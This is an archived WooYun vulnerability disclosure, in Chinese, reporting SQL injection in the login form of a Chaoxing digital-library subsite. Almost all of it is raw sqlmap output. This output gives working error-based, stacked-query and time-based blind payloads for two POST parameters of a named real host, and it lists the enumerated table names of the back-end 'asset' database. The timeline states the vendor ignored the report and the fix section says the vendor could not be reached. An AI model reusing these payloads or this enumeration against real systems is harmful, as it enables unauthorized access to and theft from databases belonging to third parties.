乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-06-04: 积极联系厂商并且等待厂商认领中,细节不对外公开 2014-07-23: 厂商已经主动忽略漏洞,细节向公众公开
超星数字图书某子站sql注入
地址:http://cg.chaoxing.com/ 登陆处
Place: POSTParameter: TextBox2 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user' AND 4903=CONVERT(INT,(CHAR(58) CHAR(121) CHAR(120) CHAR(116) CHAR(58) (SELECT (CASE WHEN (4903=4903) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(116) CHAR(114) CHAR(103) CHAR(58))) AND 'XZqe'='XZqe&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/ Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user'; WAITFOR DELAY '0:0:15'--&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/ Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user' WAITFOR DELAY '0:0:15'--&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/---web server operating system: Windowsweb application technology: ASP.NET, Nginx, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2005current database: 'asset'sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: POSTParameter: TextBox1 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin' AND 2913=CONVERT(INT,(CHAR(58) CHAR(121) CHAR(120) CHAR(116) CHAR(58) (SELECT (CASE WHEN (2913=2913) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(116) CHAR(114) CHAR(103) CHAR(58))) AND 'ZNdx'='ZNdx&TextBox2=user&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/ Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin'; WAITFOR DELAY '0:0:15'--&TextBox2=user&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/ Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin' WAITFOR DELAY '0:0:15'--&TextBox2=user&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/Place: POSTParameter: TextBox2 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user' AND 4903=CONVERT(INT,(CHAR(58) CHAR(121) CHAR(120) CHAR(116) CHAR(58) (SELECT (CASE WHEN (4903=4903) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(116) CHAR(114) CHAR(103) CHAR(58))) AND 'XZqe'='XZqe&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/ Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user'; WAITFOR DELAY '0:0:15'--&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/ Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user' WAITFOR DELAY '0:0:15'--&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/---web server operating system: Windowsweb application technology: ASP.NET, Nginx, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2005Database: asset[23 tables]+-----------------+| AssetsInfo || allot_records || asset_records || classify || compare_name || deleted_orders || department || employ || employee || fixedAsset || mail || mailServer || orders || orders_audit || ordersbak || out_records || payment_info || property || provider || provider_price || repair_order || search_provider || structure |+-----------------+
修补
未能联系到厂商或者厂商积极拒绝